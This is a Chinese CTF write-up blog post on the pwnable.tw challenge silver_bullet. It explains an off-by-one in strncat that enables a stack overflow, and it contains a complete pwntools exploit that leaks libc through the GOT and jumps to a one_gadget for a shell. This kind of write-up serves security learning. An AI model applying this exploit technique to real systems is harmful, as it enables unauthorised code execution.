Pwnable.tw 部分题解-2

简介

这里将保存部分做过的 pwnable.tw 的题解。

一、silver_bullet

1. 环境配置

1
2
patchelf --replace-needed ./libc_32.so.6 /home/Kiprey/Desktop/Pwn/libc_32.so.6 ./silver_bullet
patchelf --set-interpreter /mylibs/2.23-0ubuntu10_i386/ld-2.23.so ./silver_bullet

2. 查看保护

image-20210909104505396

No canary && No PIE.

3. 运行流程

  • create_bullet 函数中,程序会要求用户输入一串字符串,并放置长度至特定位置。

    image-20210909135701700

    这里看汇编会比伪代码更清楚一点

    可以看到,程序将读入的字符串放入 char s[0x30]的缓冲区中,并将其长度放至 s[0x30] 地址上。

  • 而在 power_up 函数中,程序会额外读入 0x30-strlen(s)的字符串,并拼接至原先的缓冲区字符串上。

    image-20210909140110048

    关键的漏洞点在于strncat这个函数的使用。通过查阅 Linux Manual Page,我们可以很容易的得到这样的一段话:

    If src contains n or more bytes, strncat() writes n+1 bytes to dest (n from src plus the terminating null byte). Therefore, the size of dest must be at least strlen(dest)+n+1.

    因此此处将会有一个 off-by-one 的漏洞,将存储字符串长度的内存位置覆盖为0,因此若下一次执行power_up函数时,由于长度被覆盖为0,因此仍然可以继续拼接字符串至原先的字符串上,而这就造成了栈溢出

  • 对于栈溢出的利用,我们自然希望 main 函数可以正常 return,这样就可以利用被修改的 ret addr 来跳转至任意位置。但 main 函数若要正常 return,则需要让函数 beat 的返回值为1。

    image-20210909151949446

    其中,怪物的血量为 0x7fffffff,而子弹的攻击值为 存放在s[0x30]。我们可以在 power_up 栈溢出时,先将 s[0x30] 覆盖为一个超大值,这样经过一番执行,最终的 s[0x30] 就是一个超大值:

    image-20210909152350997

    这样最终我们便可以达到从 main 函数返回的目的。

  • 栈溢出利用,我们可以先泄露 GOT 上的函数地址,算出 libc 基地址,最后算出 system 函数以及 bin_sh 的地址,然后跳转回 main 函数,重新覆盖 ret addr 为 system,并执行 /bin/sh。或者用 one_gadget 一把梭也很酸爽。

4. Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# -*- coding: utf-8 -*-
import sys
from pwn import *

ELFname = "./silver_bullet"

if len(sys.argv) > 1:
io = remote("chall.pwnable.tw", 10103)
else:
io = process(ELFname)

libc = ELF("./libc_32.so.6")
e = ELF(ELFname)

sla = lambda msg, content : io.sendlineafter(msg, content)
sl = lambda content : io.sendline(content)
rv = lambda x=None : io.recv(x)
ru = lambda msg : io.recvuntil(msg)

def debug(msg = ""):
if len(sys.argv) == 1:
gdb.attach(io, msg)

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='amd64')
context.log_level = 'debug'

def create_bullet(bullet):
sla("Your choice :", "1")
sla("Give me your description of bullet :", bullet)

def power_up(bullet):
sla("Your choice :", "2")
sla("Give me your another description of bullet :", bullet)

def beat():
sla("Your choice :", "3")

one_gadget_offset = 0x5f065 # 1. esi is the GOT address of libc; 2. eax == NULL

if __name__ == '__main__':
def buffoverflow(data):
create_bullet("a"*0x20)
power_up("a"*0x10)
power_up("\xff\xff\x7f" + "a"*4 + data)
beat()
beat()

buffoverflow(flat(p32(e.plt["printf"]),
p32(e.symbols['main']),
p32(e.got["puts"])))

ru("Oh ! You win !!\n")
debug()
puts_got = u32(rv(4))
log.info("puts got addr: " + hex(puts_got))

libc_base = puts_got - libc.symbols["puts"]
log.info("libc base addr: " + hex(libc_base))

one_gadget_addr = libc_base + one_gadget_offset
log.info("one_gadget addr: " + hex(one_gadget_addr))

buffoverflow(p32(one_gadget_addr))

io.interactive()
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2021 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~